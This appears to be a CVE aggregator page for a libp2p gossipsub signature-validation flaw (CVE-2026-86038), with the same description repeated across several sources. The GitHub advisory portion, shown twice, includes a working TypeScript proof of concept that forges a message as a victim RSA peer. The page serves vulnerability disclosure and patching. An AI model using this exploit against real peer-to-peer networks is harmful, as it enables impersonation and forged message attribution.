CVE-2026-86038
libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID
libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID
libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.
- Record
CVE-2026-86038- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-345, CWE-347
- Updated
- 2026-11-02
EUVDEUVD-2026-81685
7.5
libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.
- Record
EUVD-2026-81685- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-c3gv-825q-fvmp
7.5
libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID
Summary
@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.
Details
The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.
When msg.key is present:
publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
return { valid: false, error: ValidateError.InvalidPeerId }
}
For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.
The missing invariant is:
peerIdFromPublicKey(publicKey).equals(fromPeerId)
This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.
StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:
this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign
Version tracing:
git blamepoints the vulnerablevalidateToRawMessageblock to9a9b11fd44(fix!: remove pubsub (#3291)), which introducedpackages/gossipsub/src/utils/buildRawMessage.ts.- That commit's
packages/gossipsub/package.jsonstill reports14.1.1, but the firstgossipsub-v*release tag in this checkout that contains the vulnerable block isgossipsub-v15.0.0.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'
const label = 'gossipsub StrictSign RSA author spoof'
function seqno (n: bigint): Uint8Array {
const out = new Uint8Array(8)
new DataView(out.buffer).setBigUint64(0, n, false)
return out
}
async function main (): Promise<void> {
const attackerKey = await generateKeyPair('Ed25519')
const victimRsaKey = await generateKeyPair('RSA', 512)
const victim = peerIdFromPrivateKey(victimRsaKey)
const msg: RPC.Message = {
from: victim.toMultihash().bytes,
data: uint8ArrayFromString('forged as victim RSA peer'),
seqno: seqno(1n),
topic: 'poc-topic',
signature: undefined,
key: undefined
}
// Sign the protobuf message that claims victim in `from`, using attacker's key.
const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
msg.signature = await attackerKey.sign(bytes)
msg.key = publicKeyToProtobuf(attackerKey.publicKey)
const result = await validateToRawMessage(StrictSign, msg)
if (!result.valid) {
throw new Error(`expected forged message to validate, got ${result.error}`)
}
assert.equal(result.message.type, 'signed')
assert.equal(result.message.from.equals(victim), true)
assert.equal(result.message.key.equals(attackerKey.publicKey), true)
console.log(`${label} reproduced`)
console.log(`claimed victim RSA author: ${victim}`)
console.log('signature verified with attacker-supplied key')
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
Expected output:
gossipsub…
- Record
GHSA-c3gv-825q-fvmp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-345, CWE-347
- Updated
- 2026-11-02
NVD
7.5
libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.
- Record
CVE-2026-86038- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-345, CWE-347
- Updated
- 2026-11-02
OSV
7.5
libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID
libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.
- Record
CVE-2026-86038- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-345, CWE-347
- Updated
- 2026-11-02
OSVGHSA-c3gv-825q-fvmp
7.5
libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID
Summary
@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.
Details
The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.
When msg.key is present:
publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
return { valid: false, error: ValidateError.InvalidPeerId }
}
For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.
The missing invariant is:
peerIdFromPublicKey(publicKey).equals(fromPeerId)
This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.
StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:
this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign
Version tracing:
git blamepoints the vulnerablevalidateToRawMessageblock to9a9b11fd44(fix!: remove pubsub (#3291)), which introducedpackages/gossipsub/src/utils/buildRawMessage.ts.- That commit's
packages/gossipsub/package.jsonstill reports14.1.1, but the firstgossipsub-v*release tag in this checkout that contains the vulnerable block isgossipsub-v15.0.0.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'
const label = 'gossipsub StrictSign RSA author spoof'
function seqno (n: bigint): Uint8Array {
const out = new Uint8Array(8)
new DataView(out.buffer).setBigUint64(0, n, false)
return out
}
async function main (): Promise<void> {
const attackerKey = await generateKeyPair('Ed25519')
const victimRsaKey = await generateKeyPair('RSA', 512)
const victim = peerIdFromPrivateKey(victimRsaKey)
const msg: RPC.Message = {
from: victim.toMultihash().bytes,
data: uint8ArrayFromString('forged as victim RSA peer'),
seqno: seqno(1n),
topic: 'poc-topic',
signature: undefined,
key: undefined
}
// Sign the protobuf message that claims victim in `from`, using attacker's key.
const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
msg.signature = await attackerKey.sign(bytes)
msg.key = publicKeyToProtobuf(attackerKey.publicKey)
const result = await validateToRawMessage(StrictSign, msg)
if (!result.valid) {
throw new Error(`expected forged message to validate, got ${result.error}`)
}
assert.equal(result.message.type, 'signed')
assert.equal(result.message.from.equals(victim), true)
assert.equal(result.message.key.equals(attackerKey.publicKey), true)
console.log(`${label} reproduced`)
console.log(`claimed victim RSA author: ${victim}`)
console.log('signature verified with attacker-supplied key')
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
Expected output:
gossipsub…
- Record
GHSA-c3gv-825q-fvmp- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-345, CWE-347
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@libp2p/gossipsubnpm |
15.0.0 up to 16.0.5 | 16.0.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-86038 is a high vulnerability (CVSS 7.5) in Libp2p Js-libp2p, published September 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in @libp2p/gossipsub 16.0.5.
References
github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp
github.com/libp2p/js-libp2p/pull/3569
github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f
github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5
github.com/advisories/GHSA-c3gv-825q-fvmp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86038.json
nvd.nist.gov/vuln/detail/CVE-2026-86038
github.com/libp2p/js-libp2p
Left out here: the rest of 2 source descriptions. The JSON record has them.